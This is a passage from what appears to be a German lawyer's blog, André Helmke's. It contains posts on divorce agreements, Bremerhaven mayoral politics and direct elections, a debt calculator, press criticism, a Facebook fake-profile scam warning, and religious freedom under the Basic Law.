Ehescheidung geregelt werden sollten. Gleich am Anfang einer Krise ist es erfahrungsgemäß noch relativ gut möglich, eine Ehe einvernehmlich zu beenden. Bei komplexeren Angelegenheiten ist es in dieser Phase oftmals notwendig, eine sogenannte Trennungs- und Scheidungsfolgenvereinbarung zu treffen. Sie regelt in der Ehekrise konkret die Folgen von Trennung und Scheidung. Auch darauf geht der Autor in diesem Kontextbaum ein. Eine derartige Vereinbarungen ist ratsam, um gerade aufgrund der Komplexität familienrechtlicher Bestimmungen eine gerichtliche Auseinandersetzung mit einer oftmals langen Verfahrensdauer, verbunden mit einer die persönlichen Beziehungen belastende gerichtliche Auseinandersetzung, zu vermeiden. Was auf keinen Fall passieren darf ist ein Rosenkrieg über die oder zu Lasten der Kinder. Welche Folgen dies haben kann, hat der Autor in seinem autobiografischen Roman "Justitia21 - Lebenswerk && Lebensenergie || warum ich Anwalt geworden bin ..." ausführlich dargestellt (Download unter www.autobiografischerroman.andre-helmke.de). Bei Schwierigkeiten und Konflikten sollten die Eltern daher rechtzeitig Hilfe beim Jugendamt in Anspruch nehmen. Gegebenenfalls wird diese Behörde die Eltern an geeignete Beratungsstellen verweisen. Das Ziel muss dabei sein, die Kinder aus der Auseinandersetzung auf der Elternebene fern zu halten und ein einvernehmliches Konzept für die Wahrnehmung der gemeinsamen elterlichen Sorge zu entwickeln. Manchmal hilft hierbei auch eine Mediation. Gleich am Anfang prüft dieser Kontextbaum, inwieweit für die Ehescheidung deutsches Recht zur Anwendung kommt. Dies ist notwendig, weil Justitia21 die Voraussetzungen einer Ehescheidung nach ausländischem Recht nicht prüft. Anstatt der Scheidung gibt es auch die Möglichkeit einer Aufhebung der Ehe, die aber mit diesem Kontextbaum ebenfalls nicht geprüft wird. Die Aufhebung einer Ehe ist nur unter bestimmten Voraussetzungen möglich (§ 1314 BGB). In jedem Falle ist sowohl für die hier zu prüfende Ehescheidung als auch im Falle einer Aufhebung der Ehe ein gerichtlicher Beschluss erforderlich. Wichtiger Hinweis: Um diesen Kontextbaum laden und abprüfen zu können, müssen Sie sich zumindest als Basis-Benutzer bei Justitia21 angemeldet haben. Für Basis-Benutzer werden keine Nutzungsgebühren für Justitia21 fällig. Einzelheiten entnehmen Sie bitte den Nutzungsbedingungen für Justitia21. http://www.Justitia21.de [Autor: RA Dr. André Helmke] |
![]() | Parteilose(r) Oberbürgermeister(in) | 6 | 01.09.2016 - 10:46:51 | 02.08.2017 - 21:52:01 |
Am 01.09.2016 findet in Bremerhaven die nächste Wahl des (der) Oberbürgermeister(s)(in) statt. Die Amtszeit des amtierenden Oberbürgermeisters (SPD) endet am 31.12.2016. Hiermit appelliere ich an die Vertreterinnen und Vertreter in der Stadtverordnetenversammlung von Bremerhaven, eine(n) parteilose(n) Oberbürgermeister(in) zu wählen. Diese(r) könnte das Amt bis zur Einführung der Direktwahl neutral und unabhängig ausüben. Ich halte derzeit insbesondere ein Parteimitglied der SPD als nächste(n) Oberbürgermeister(in) aus den folgenden Gründen für politisch unvertretbar: 1. Die SPD dieser Stadt war es, die in der vorherigen Koalition aus SPD und den Grünen die Einführung der Direktwahl des Oberbürgermeisters blockiert hatte, obwohl sich 90 Prozent der von der Nordsee-Zeitung befragten Bremerhavener für eine Direktwahl ausgesprochen haben (NZ vom 19.11.2013, S. 9)! 2. Auch ein CDU-Mitglied sollte angesichts des gescheiterten letzten "Wahlversprechens" hinsichtlich der Einführung der Direktwahl des Oberbürgermeisters nicht zum nächsten Oberbürgermeister gewählt werden. Zuletzt wurde in der NZ vom 25.06.2015, Seite 11, hierzu ein wesentlicher Punkt des Koalitionsvertrages zwischen SPD und CDU vorgestellt: "Die Direktwahl des Oberbürgermeisters werde angestrebt, sei aus verfassungs- und beamtenrechtlichen Gründen aber schwieriger als gedacht. Vor 2023 werde deswegen daraus auch nichts werden", hieß es. Hinzu kommt noch die enttäuschende Unterstützung der SPD bei der geplanten Einführung einer meines Erachtens eindeutig verfassungswidrigen 2,5- bzw. 3-Prozentklausel auf kommunaler Ebene. 3. Die Einführung der Direktwahl sei angeblich erst ab 2023 möglich ![]() dass die Große Koalition hier in Bremerhaven einen solchen eindeutigen Wählerwillen (90 Prozent!) nicht vorrangig behandelt hat, und wir daher nicht schon in diesem Jahr unsere(n) Oberbürgermeister(in) direkt und unmittelbar wählen können. 4. Hinzu kommt der Streit um den "Zugang zu den Personalakten" dieser Stadt durch das Rechnungsprüfungsamt. Seit Jahren ringten die Rechnungsprüfer dieser Stadt darum, auch die Personalakten der Verwaltung einsehen zu dürfen, was übrigens im gesamten Bundesgebiet selbstverständlich ist. Insbesondere die SPD dieser Stadt wehrte sich gegen die Einsicht in die Personalakten (siehe SJ vom 13.03.2016, Seite 2). Erst auf massiven Druck der Oppositionsparteien und nach zwei Anträgen von FDP und Grünen konnte eine Stimmenenthaltung der großen Regierungskoalition aus CDU und SPD erreicht werden (siehe SJ a.a.O.). Am 10.03.2016 konnte so die Stadtverordnetenversammlung ein uneingeschränktes und ohne Vorbedingungen eingeräumtes Akteneinsichtsrecht der Prüfer beschließen. 5. Schweren Herzens muss ich an dieser Stelle leider erneut über das Desaster der gescheiterten Überführung der Ortspolizeibehörde in die Landespolizei berichten. Mit einer groß organisierten Unterschriftenaktion wurde von SPD-Funktionären dieser Stadt, zusammen mit der Bremerhavener Gewerkschaft der Polizei (GdP), die Überführung der Ortspolizeibehörde in eine Landespolizei verhindert (siehe NZ vom 22.08.2015, Seite 16; SJ vom 23.08.2015, Seite 2). Mit dabei war der ehemalige Oberbürgermeister, der zugleich Polizeidezernent dieser Stadt war, ein ehemaliger Direktor der Ortspolizeibehörde und ein ehemaliger Personalchef der Ortspolizeibehörde. Beindruckend fand ich die Worte des Bremer Bürgermeisters Carsten Sieling (ebenfalls SPD!), der diese Unterschriftenaktion wie folgt kommentierte: "[...] Aber wenn man sich von einzelnen einseitig jagen lässt mit Bürgerbegehren, muss man sich nicht wundern, wenn dann die andere Seite andere Lösungsvorschläge macht. [...]" (NZ vom 04.01.2016, Seite 12) Dieser beispielhafte Unterschied innerhalb der SPD ist für mich ein bestätigendes Argument für die Einführung eines reinen Persönlichkeitswahlrechts. ![]() 6. Dann gab es noch einen Korruptionsskandal hier in Bremerhaven, in die die Software-Firma eines Bremer SPD-Bürgerschaftsabgeordneten verwickelt war (NZ vom 18.09.2015, Seite 13). Die Abteilungsleiterin für Beschaffungen beim Magistrat hatte im Jahre 2013 aus dem E-Mail-Verkehr ihrer Mitarbeiter erfahren, dass diese von dieser Software-Firma zu einem netten Abend im Varieté-Theater mit Abendessen eingeladen worden waren. Sie nahmen die Einladung an, obwohl eine Auftragsvergabe an diese Firma im Raum stand. Die Abteilungsleiterin meldete den Fall an ihre Vorgesetzten. Aber anstatt Ermittlungen einzuleiten, wurde die Abteilungsleiterin von ihren Aufgaben entbunden (NZ a.a.O.) ![]() Das Verwaltungsgericht gab der geschassten Mitarbeiterin Recht. Sie durfte wieder an ihren früheren Arbeitsplatz zurückkehren. Ansonsten ist das Urteil eine einzige Belehrung für den Oberbürgermeister (SPD) und seine Mitarbeiter. Seitenweise wird hier erläutert, wie eine Behörde mit Korruption umzugehen hat (NZ a.a.O.). Gerade in Bezug auf das nachfolgende Argument für die Wahl eines parteilosen Oberbürgermeisters möchte ich auf den folgenden Aspekt in diesem Urteil verweisen: "Inhaltlich nicht nachvollziehbar" nennen die Verwaltungsrichter in diesem Urteil die Entscheidung, nicht die Staatsanwaltschaft zu informieren: Der Oberbürgermeister und seine Amtsleiterin hätten eine Bewertung gar nicht vornehmen dürfen. Sie hätten den Verdacht anzeigen müssen. Nur den Strafverfolgungsbehörden steht es zu, den Fall zu bewerten (NZ a.a.O.). 7. Schließlich gibt es noch den jüngst aufgeflogenen massenhaften Sozialbetrug hier in Bremerhaven, an dem ein Bremerhavener SPD-Bürgerschaftsabgeordneter beteiligt sein soll (siehe NZ vom 13.08.2016, Seite 1; FAZ vom 20.08.2016, Seite 6). Als Hauptverdächtiger gilt sein Vater. Auch er gehörte bis Ende vergangenen Jahres der SPD an (NZ vom 19.08.2016, Seite 11). Er ist Vorsitzender zweier Vereine, die den skandalösen Millionenbetrug organisiert haben sollen. Der Vereinsvorsitzende soll fingierte Arbeitsverträge mit Zuwanderern abgeschlossen haben, damit sie Leistungen vom Jobcenter erhalten (weitere Einzelheiten dazu siehe NZ vom 13.08.2016, Seite 1). "Dieser Skandal hat eine politische Dimension", meinte die Grünen-Fraktionsvorsitzende Doris Hoch (siehe NZ vom 29.04.2016, Seite 11). "Wir müssen schleunigst aufklären, was welche Stelle im Jobcenter, in der städtischen Verwaltung und vor allem Mitglieder des Magistrats gewusst haben oder hätten wissen müssen" (NZ a.a.O.). "2013 bis 2015, das ist eine lange Zeit", bemängelte Sülmez Dogan, stellvertretende Fraktionsvorsitzende der Grünen (SJ vom 05.06.2016, Seite 2). Im Sommer 2013 fiel beim Jobcenter Bremerhaven zum ersten Mal auf, dass ungewöhnlich viele bulgarische EU-Zuwanderer in die Seestadt kamen und ergänzende Sozialleistungen beantragten. Doch erst im August 2015, also gut zwei Jahre später, erstatte der Geschäftsführer des Jobcenters Anzeige. Dieser erklärte die zweijährige Wartezeit bis zur Anzeige vor allem mit einer Unsicherheit bei der Bewertung. Ähnlich äußerte sich der zuständige Sozialstadtrat (SPD): "Verdacht ist das eine, beweisen ist etwas anderes", meinte er (SJ vom 05.06.2016, Seite 2). Aber hier gelten meines Erachtens die Ausführungen unter dem vorherigen Punkt gleichermaßen: Nur den Strafverfolgungsbehörden steht es zu, den Fall zu bewerten. In einer aktuellen Stunde der Bremischen Bürgerschaft am 20.04.2016 forderte der CDU-Fraktionschef Thomas Röwekamp Aufklärung, warum es so lange gedauert habe, bis das Strafverfahren richtig in Gang gekommen sei und verwies auf frühzeitige Hinweise von Mitarbeiterinnen der humitären Sprechstunde des Gesundheitsamtes an die damalige Gesundheitsdezernentin (SPD) in Bremerhaven (NZ vom 21.04.2016, Seite 13). Auch könne er nicht verstehen, das der zuständige Sozialsstadtrat in Bremerhaven (SPD) davon spreche, dass die Hinweise wenig konkret gewesen seien; denn in den E-Mails, die unbeantwortet blieben, sei bereits der Verdacht des Sozialbetruges genannt worden (NZ vom 21.04.2016, Seite 13). Rövekamp geht daher davon aus, dass ein Netzwerk von Sozialdemokraten in unserer Stadt den Missbrauch begünstigt oder gar befördert haben könnte (NZ vom 18.08.2016, Seite 15; NZ vom 26.08.2016, Seite 15; NZ vom 21.04.2016, Seite 13). Unterstützt wird er von Kristina Vogt, Fraktionschefin der Linken. Rövekamp erläutert seinen Verdacht wie folgt: Der Vereinsvorsitzende "[...] war Sozialdemokrat, der zuständige Sozialdezernent ist es, die Gesundheitsdezernentin, der für die Polizei zuständige Oberbürgermeister und der Arbeitssenator sind es ebenfalls." Der Sohn des Vereinsvorsitzenden, der ebenfalls im Blick der Fahnder steht, ist bekanntlich SPD-Bürgerschaftsabgeordneter. Da kann man wirklich nur hoffen, dass der einstimmig beschlossene parlamentarische Untersuchungsausschuss eine lückenlose Aufklärung dieses wohl bundesweit einmaligen Skandals erreichen wird. Dieser Skandal mit den heftigen Vorwürfen von CDU und Linke ist für mich allein schon ein entscheidendes Argument für die Wahl eine(r)(s) parteilosen Oberbürgermeister(s)(in). Aufgrund all dieser Vorfälle, die mit SPD-Funktionären in Verbindung stehen, wäre jedenfalls die Wahl eines SPD-Mitglieds zu(r)(m) Oberbürgermeister(s)(in) unter diesen Umständen politisch unverantwortlich und für mich schwer erträglich. Ich appelliere daher hiermit nochmals an die Vertreterinnen und Vertreter unserer Stadt, eine parteilose Persönlichkeit zu(r)(m) neuen Oberbürgermeister(in) für die Übergangszeit bis zur Einführung der Direktwahl zu wählen. Dies wäre meines Erachtens ein deutliches Signal an die Bremerhavener Bevölkerung, dass zumindest die Mehrheit der Stadtverordneten hier in Bremerhaven eine politisch unabhängige Aufklärung des skandalösen Sozialbetruges und die Einfühung der Direktwahl unterstützt. http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | Frankreich hat gewäht | 0 | 18.06.2017 - 22:28:24 | 18.06.2017 - 22:30:10 |
Félicitations, Monsieur le Président Macron! Vive la France! Vive la revolution21 française! Vive la démocratie directe! Vive la majorité système électoral! Bonne chance France! Der französische Präsident Emmanuel Macron wurde bereits in allgemeiner und direkter Wahl am 14. Mai 2017 gewählt. Außer der Präsidentenwahl fand in Frankreich nun auch die Wahl der 577 Abgeordneten der Nationalversammlung am 11. Juni (1. Wahlgang) und heute (2. Wahlgang) statt. Ersten Hochrechnungen nach bekommt La République en Marche, die neue Partei von Präsident Emmanuel Macron, bei diesen Parlamentswahlen 355 der 577 Sitze. Die 577 Abgeordneten der Nationalversammlung in Frankreich werden alle fünf Jahre ebenfalls in allgemeiner und direkter Wahl gewählt. In jedem Wahlkreis wird ein Abgeordneter direkt gewählt (Einpersonenwahl, Persönlichkeitswahl). Dabei gilt Folgendes: - Jeder macht nur ein Kreuz: Wählerinnen und Wähler haben je eine Stimme für eine Kandidatin oder einen Kandidaten im Wahlkreis. Gewählt ist, wer die meisten Stimmen im Wahlkreis erhält. - The Winner takes it all: die Stimmen der Unterlegenen fallen weg. Das hiesige Problem der Überhangmandate gibt es also beim reinen Mehrheitswahlrecht nicht. Das britische Parlament wird in einem sehr ähnlichen Mehrheitswahlverfahren gewählt (engl. first past the post). Für die Einführung eines reines Mehrheitswahlrechts (Persönlichkeitswahlrechts) auch in Deutschland spricht meines Erachtens: - Die Wähler können sich so besser mit ihrem Abgeordneten identifizieren. - Der Abgeordnete hat so ein stärkeres Interesse daran, im Sinne seiner Wähler abzustimmen. - Extremistische Parteien haben praktisch keine Chance, in einem Wahlkreis eine Mehrheit der Stimmen zu erringen. Das Mehrheitswahlsystem führte zwar in Großbritannien in der jüngeren Vergangenheit mehrfach zu Diskussionen und Überlegungen zu möglichen Reformen. Am 5. Mai 2011 wurde daher eine Volksabstimmung über die Einführung einer Alternativstimme durchgeführt. Dabei sprach sich allerdings eine deutliche Mehrheit von 68 % der Abstimmenden und eine Mehrheit in allen vier Landesteilen für die Beibehaltung des bestehenden Mehrheitssystems aus! Wir Bremerhavener wissen nur zu gut, wie schwer es ist, einen verkrusteten Parteienstaat aufzubrechen. Welcher Parteisoldat sägt schon gern an einem Ast, auf dem er hoch und trocken sitzt! Daher: Allemagne en marche! ![]() Vive la révolution21 allemande! ![]() http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | Forderungsrechner AH-Forderung | 0 | 24.03.2017 - 18:56:40 | 24.03.2017 - 18:56:40 |
Unmögliches wird sofort erledigt, Wunder dauern etwas länger: ab sofort steht die erste Version meines Forderungsrechners AH-Forderung als Web-App und als Windows-App zur Verfügung. ![]() Von der Benutzerführung ähneln sich diese beiden Apps sehr. Darauf habe ich bewusst geachtet. Viele Buchungsarten (z. B. Hauptforderung, Zahlung Schuldner usw.) habe ich bereits integriert. Als Zinsberechnungen stehen Festzins und Basiszins zur Verfügung. Folgende Zinsmethoden können gewählt werden: Deutsche Zinsmethode 30/360, Eurozinsmethode Echt/360, Englische Zinsmethode Echt/365 und die taggenaue Zinsmethode Echt/Echt. Die letztere Methode scheint zunehmend an Bedeutung zu gewinnen. Als Verrechnungsarten können § 367 BGB oder § 497 BGB genutzt werden. Die Ausgabe der Forderungsaufstellung erfolgt wahlweise in eine HTM-Datei, in eine PDF-Datei oder in eine RTF-Datei. Einzelheiten können den jeweiligen Beschreibungen entnommen werden. Während die Sharewareversion für Windows von meiner Homepage gedownloadet werden kann, habe ich die Online-Version in Justitia21 integriert und steht dort unter "Tools" zur Verfügung. http://www.justitia21.de [Autor: RA Dr. André Helmke] |
![]() | Gibt es politische Journalisten? | 2 | 15.12.2016 - 15:29:08 | 18.01.2017 - 17:00:04 |
In den letzten Monaten hat die Kritik an einer subjekiven Presseberichterstattung derartig zugenommen, dass viele daraus sogar eine Vertrauenskrise gegenüber den Medien ableiten (siehe dazu nur Frankfurter Allgemeine Zeitung (FAZ) vom 02.12.2016, Seite 2). Ich selbst beobachte schon seit vielen Jahren die Berichterstattung in der Nordsee-Zeitung (NZ). Manchmal habe ich den Eindruck, als ob es den einen oder anderen Journalisten dort gibt, der gern über seine eigene politische Auffassung berichtet. Auch anderen Lesern ist dies bereits aufgefallen (siehe z. B. den Leserbrief in der NZ vom 06.12.2016, Seite 10). Das Ziel solcher Journalisten ist für mich eindeutig: sie möchten mit ihrer Berichterstattung Einfluss auf die Leser nehmen und damit selbst Politik machen. Die Einflussnahme funktioniert aber bereits auch schon durch eine ganz bestimmte Art der Gestaltung, Platzierung oder Formulierung der Berichte. Exemplarisch möchte ich auf den meines Erachtens doch guten Bericht in der FAZ über Bremerhaven verweisen ("Ganz weit weg", FAZ vom 01.10.2016, Seite 3, und weitere Infos dazu in meinem Blog). Die Autorin Mona Jaeger hatte darin ganzseitig zwar einen ziemlich düsteren Bericht über die Situation hier in Bremerhaven veröffentlicht. Ich verstand diesen Bericht aber vielmehr als eine Art Appel zu tiefgreifenden Veränderungen. Daraufhin erschien in der NZ vom 08. Oktober 2016 ein Kommentar eines Journalisten. Darin setzt sich dieser meiner Ansicht nach sehr subjektiv mit der Berichterstattung der Autorin der FAZ auseinander. Auch inhaltlich hat mich dieser Kommentar keineswegs überzeugt. Besonders bemerkenswert fand ich seine folgende Einlassung: "Erstens, werte Kollegin, stimmt Ihre These nicht. Bremerhaven ist nicht der "letzte politische Erbhof in Deutschland". Die CSU regiert Bayern gefühlt mindestens genauso lange." Dabei erwähnt dieser Journalist mit keinem Wort die "Verfilzung" hier in Bremerhaven, und dass die Autorin der FAZ bei ihrer Recherche über Bremerhaven ganz offensichtlich Unterstützung von Herrn Nelson Janßen, einem Abgeordneten der Linken in der Bremischen Bürgerschaft, bekommen hatte. Außerdem gibt es in Bayern schon seit sehr vielen Jahren das Kumulieren und Panaschieren sowie die Direktwahl der Bürgermeister/Innen. Demgegenüber musste das Kumulieren und Panschieren hier in Bremerhaven über ein Volksbegehren eingeführt werden. Und nur weil sich die SPD dieser Stadt dagegen wehrt, haben wir bis heute keine Direktwahl des Oberbürgermeisters in Bremerhaven. ![]() Nach dieser einseitigen Berichterstattung könnte man den Eindruck bekommen, als ob die "SPD-Verfilzung" auch bis in die NZ hineinragen würde. ![]() Als Autor der FAZ hätte ich jedenfalls nach solch einem Kommentar ebenso gehandelt und den Bericht online gestellt. ![]() weiterhin online abgerufen werden unter: http://www.faz.net/aktuell/bremerhaven-eine-stadt-in-schieflage-14 462617.html Ein weiteres Beispiel einer einseitigen Berichterstattung genau desselben Journalisten der NZ ist anhand seiner letzten Veröffentlichung im Zusammenhang um die Einführung der Direktwahl des Oberbürgermeisters in Bremerhaven erkennbar (siehe NZ vom 10.12.2016, Seite 14). Nach einer repräsentativen Umfrage des Meinungsforschungsinstituts "INSA Consulere" vom 28. und 29.11.2016 haben sich erfreulicherweise 77 Prozent ![]() eine Direktwahl des Oberbürgermeisters (OB) ausgesprochen (siehe NZ vom 08.12.2016, Seite 12). Anstatt dieses Ergebnis als erste Aufbruchstimmung zu verstehen, um mit der Einführung der Direktwahl gegen die "SPD-Verfilzung" dieser Stadt vorzugehen, fragt sich dieser Journalist in seinem Kommentar zunächst, was denn wohl diese von der FDP in Autrag gegeben repräsentative Umfrage gekostet habe (NZ vom 10.12.2016, Seite 14). Außerdem "bremst" er die Euphorie in der Bevölkerung, indem er schreibt, dass man die Einführung der Direktwahl nicht überstürzen dürfe. Hier drängt sich für mich wieder eine einseitige, in eine bestimmte politische Richtung intendierte Berichterstattung auf. Mit diesen Ausführungen stellt sich der Jorunalist nämlich für mich deutlich auf die Seite der SPD dieser Stadt, die weiterhin eine Direktwahl verhindern oder aber zumindest solange wie möglich hinausschieben möchte. ![]() Da bekommt die Aussage des Herrn Prof. Dr. Gerhard Vowe, Medienwissenschaftler an der Uni Düsseldorf, in der Sendung "Maischberger" vom 30.11.2016 zum Thema "Kann man Journalisten noch trauen?" eine ganz besondere Bedeutung: "Es gibt ein enges Netzwerk zwischen Verbandsvertretern, Parteipolitikern, Journalisten, Wissenschaftlern, Verwaltungsexperten. Das sind enge Netzwerke, von denen wir regiert werden. Das sind Elitenetzwerke. Es ist völlig klar. Wie soll es auch anders gehen?" Selbstverständlich geht es meines Erachtens anders, nämlich indem man das Volk mehr einbindet. Diese Distanz zwischen den "Eliten" und der Bevölkerung hat nach meiner Überzeugung erst zu der geringen Wahlbeteiligung und zu dem Misstrauen in unsere demokratischen Institutionen geführt. Der erste Schritt in die richtige Richtung wäre daher, die Bevölkerung unmittelbarer an der Willensbildung zu beteiligen, indem mehr Direktwahlen eingeführt werden. Und dann gibt es hier in Bremerhaven einen Journalisten, der meint, dass man "keine Schnellschüsse in Sachen Direktwahl" machen sollte (NZ vom 10.10.2016, Seite 14). Mit einer solchen Berichterstattung kann ich die Vertrauenskrise in die Medien gut nachvollziehen. Anstatt dieses neuerliche Umfrageergebnis zu nutzen, um auch als (leider) einzige örtliche Tageszeitung in Bremerhaven Aufbruchstimmung zu verbreiten, "bremst" dieser Journalist dieses Ergebnis. Und dies, obwohl im September 2017 die nächste Bundestagswahl ansteht. Ich war noch nie so gespannt auf ein Wahlergebnis, wie auf das dieser nächsten Bundestagswahl. Mit der unverzüglichen Einführung der Direktwahl des OB könnten unsere Politiker ein richtiges Signal setzen. Ein solches Signal hätte ich mir übrigens auch mit der Einführung einer Direktwahl des Bundespräsidenten gewünscht. Dieser Journalist der NZ meint nun aber, dass es zuallererst eine Debatte darüber brauche, was ein direkt vom Volk zu wählender Oberbürgermeister alles dürfen soll und was nicht. Völlig abstrus verweist er auf die früheren Diskussionen über dieses Thema, wonach der Ausschuss zur Reform der Stadtverfassung sich zwei Jahre oder 24 Sitzungen lang mit der "staubtrockenen Materie auseinandergesetzt" habe und immer wieder versichert worden sei, dass es für eine solche Direktwahl eine völlig neue Arbeitsplatzbeschreibung für den OB mit deutlich mehr Befugnissen als bisher brauche (NZ vom 10.10.2016, Seite 14). Zunächst ist es bedauerlich, dass es sich für diesen Journalisten um eine "staubtrockene Materie" handelt. Da kann man ja nur hoffen, dass die Verantwortlichen in diesem Ausschuss dies nicht ebenso empfunden haben. Wo ist bitte schön das Problem, wenn ein vom Volk unmittelbar gewählter Oberbürgermeister mehr Kompetenzen bekommt? Es wäre aus meiner Sicht sogar geboten, weil diese Persönlichkeit dann unmittelbar vom Volk legitimiert wäre! Zwingend ist dies aber nicht (siehe dazu und auch zu den Vorteilen einer Direktwahl in meinem Blog). Nochmals möchte ich an dieser Stelle auf die Magistratsverfassung in Hessen verweisen, wo es bereits seit vielen Jahren die Direktwahl des Oberbürgermeisters gibt. Die Verantwortlichen dieser Stadt müssten also noch nicht einmal das Rad neu erfinden. Die Regelungen in Hessen könnten auch für Bremerhaven übernommen werden. Dazu müsste lediglich die Bremerhavener Stadtverfassung geändert werden. Und als dann dieser Journalist auch noch ausführte, dass "für Bremerhavenen solche Verfassungsänderungen ähnlich schwer wiegen wie Grundgesetzänderungen für die gesamte Republik, wollen diese gründlichst überlegt und gut vorbereitet sein", bin ich vor Lachen fast vom Stuhl gefallen! ![]() Entweder dieser Journalist kann nicht besser oder er will nicht besser, weil er womöglich der SPD Bremerhaven sehr nahe steht. Es handelt sich bei der Bremerhavener Stadtverfassung um nichts anderes als um eine Satzung, die jederzeit mit einer Zwei-Drittel-Mehrheit geändert werden kann! Genauso wie auch nur der Anschein einer politischen Polizei vermieden werden muss, sollte unbedingt auch nur der Anschein einer politischen Presse vermieden werden! Gerade zur Überwindung der Vertrauenskrise in unsere demokratischen Institutionen könnten Journalisten der Printmedien ihren Beitrag leisten. Und zwar, indem sie ihre Arbeit machten "mit Verstand und Scharfsinn, Offenheit und Vorurteilslosigkeit". Damit könnten sie auch ihr Überleben gegen "die Konkurrenz digitaler Stammtische" sichern (ähnlich unser Bundespräsident Gauck in seiner Rede zum sechzigjährigen Bestehen des Presserates, FAZ vom 02.12.2016, Seite 2). Mit diesem Journalismus bei der NZ, wie ich ihn anhand der zuvor aufgezeigten Berichterstattung empfinde, wird dies ganz bestimmt nicht gelingen! Zum Glück gibt es das Internet und damit soziale Netze sowie andere gute Tageszeitungen, aus denen man sich informieren kann und zusätzlich (!) informieren sollte. Trotz der Kritik gibt es auch im Internet qualitativ gute Informationsquellen. Dabei ist es wichtig, sich aus verschieden (seriösen) Portalen zu informieren, um sich so eine einigermaßen verlässliche eigene Meinung bilden zu können. Meiner Ansicht nach aber wird gute journalistische Qualität die Printmedien vor einer Krise bewahren. Dies zeigt sich zum Beispiel anhand der FAZ, die ich seit vielen Jahren parallel zu der NZ lese. Die Unterschiede sind wirklich gravierend und da kann ich den Verantwortlichen der NZ nur eine Selbstreflexion empfehlen. Nur so kann man als Journalist die Grenze einhalten zwischen Berichterstattung und Aufklärung auf der einen Seite und Belehrungen auf der anderen Seite. http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | FAKE-ACCOUNT-EINRICHTUNG | 0 | 07.12.2016 - 17:28:26 | 07.12.2016 - 17:28:26 |
FAKE-ACCOUNT-EINRICHTUNG ALS PERSÖNLICHER ANGRIFF? Am Nikolaustag haben unbekannte Täter einen sogenannten Fake-Account mit meinen Daten, manche sprechen auch von einem Fake-Profil, auf Facebook eingerichtet. Diese Kriminellen haben dazu nicht nur meine persönlichen Daten, sondern auch meine Profilbilder verwendet. Nun könnte man auf den ersten Blick denken, dass es sich dabei um professionelle Hacker gehandelt hat. Häufig verwenden solche Kriminellen das gefälschte Profil, um Links zu Schadsoftware zu verbreiten oder an persönliche Daten anderer Nutzer zu gelangen. Manche meiner Freunde/Innen bekamen eine Freundschaftsanfrage von diesem Fake-Profil geschickt, obwohl sie mit dem echten André Helmke eigentlich schon lange befreundet sind. Sobald die Freundschaftsanfrage akzeptiert worden ist, haben die Kriminellen eine Nachricht geschrieben, in der sie nach der Handynummer gefragt haben. In diesem Augenblick haben mich die ersten Freunde/Innen auf Facebook kontaktiert und gemeinsam mit dem Facebookteam dafür gesorgt, dass dieses Fake-Profil wieder gelöscht wurde. Dafür noch einmal herzlichen Dank! Wird nämlich in derartigen Fällen die Handynummer herausgerückt, erhält man kurz darauf eine SMS mit einem Bezahlcode. Der scheinbare Facebook-Freund wird nun mit dem vertrauten Fake-Profil auch nach diesem Code fragen. Und genau hier ist äußerste Vorsicht geboten: mit diesem Code berechtigt man die Betrüger, eine bestimmte Summe auf dem fremden Konto abzubuchen. Es handelt sich um einen Code für den Internet-Bezahldienst Zong. Wer einen derartigen Bezahlcode herausgegeben haben sollte, sollte unbedingt die nächsten Rechnungen kontrollieren. Sollte jemand Opfer geworden sein, so empfehle ich, gegen unzulässige Rechnungen vorzugehen und Anzeige bei der Polizei zu erstatten. ABER ich glaube NICHT, dass es sich in meinem Fall um "echte Hacker" gehandelt hat. Derartige Hacker würden nämlich NIEMALS mit diesem Fake-Profil SEXISTISCHE Nachrichten an Facebook-Freundinnen versenden. Dies ist aber am Nikolaustag geschehen! Ich finde dies einfach nur noch ekelig! Hieran ist für mich erkennbar, dass es sich wieder einmal mehr um einen PERSÖNLICHEN ANGRIFF insbesondere gegen mich gehandelt hat. Aber diesmal hat die kriminelle Vereinigung einen Fehler gemacht! Meine anwaltlichen Ermittlungen führen seit vielen Jahren dazu, dass sich die Schlinge immer weiter zuzieht und diese kriminelle Vereinigung zunehmend fehleranfällig geworden ist. Dies liegt bekanntlich daran, dass man mit wenig Sauerstoff schlecht denken kann ... http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | Guter Mensch vs. böser Mensch | 0 | 06.08.2016 - 20:04:38 | 25.09.2016 - 21:22:49 |
Gerade nach so vielen schrecklichen Ereignissen in Frankreich, nun auch in Deutschland und zuletzt in London in der jüngeren Vergangenheit habe ich mir seit langer Zeit mal wieder die Frage gestellt, was eigentlich der Sinn des Lebens ist? Eine erste Antwort darauf habe ich bereits in meinem autobiografischen Roman veröffentlicht. An dieser Stelle möchte ich eine weitere Antwort auf diese Frage geben. Eigentlich bin ich nicht wirklich gläubig. Aber ich glaube fest daran, dass ein weiterer Sinn dieses Lebens quasi eine Prüfung ist. Der Mensch wird in dem Leben, so wie wir es kennen, geprüft, ob er für die nächst höhere Stufe geeignet ist oder nicht. Auf der obersten Stufe befindet sich nach meinen Vorstellungen als höchste Belohnung schließlich das Paradies. Die Glaubensfreiheit ergibt sich aus Art. 4 des Grundgesetzes (GG). Gemäß Art. 4 Abs. 1 GG ist die Freiheit des Glaubens unverletzlich. Art. 4 Abs. 2 GG gewährleistet die ungestörte Religionsausübung. Art. 4 Abs. 1 und Abs. 2 GG werden als einheitlicher Bereich gefasst und schützen die Freiheit, Glauben und Gewissen, Religion und Weltanschauung zu bilden, zu haben, zu äußern und demgemäß zu handeln (Pieroth/Schlink, Grundrechte II, 10. Aufl. 1994, Seite 139, Rdnr. 560). Demnach stellt selbstverständlich auch der Islam eine Religion im Sinne des Art. 4 Abs. 1 und Abs. 2 GG dar und wird von seinem Schutzbereich umfasst. Zum Schutzbereich gehört aber auch die Freiheit, nicht zu glauben, einen Glauben oder eine Weltanschauung nicht zu bekennen, d. h. zu verschweigen, sowie glaubensgeleitete Handlungen zu unterlassen (siehe nur BVerfGE 65, 1, 39). Die Entscheidung für oder gegen einen Glauben ist danach Sache des Einzelnen, nicht des Staates. Der Staat darf ihm einen Glauben oder eine Religion weder vorschreiben noch verbieten (BVerfGE 93, 1, 15 mit weiteren Ausführungen). Zwar wird die Glaubensfreiheit vorbehaltlos gewährleistet. Dies bedeutet jedoch nicht, dass sie verfassungsrechtlich keinerlei Schranken unterliegt. Mit Rücksicht auf die Einheit der Verfassung und die von ihr geschützte Werteordnung sind kollidierende 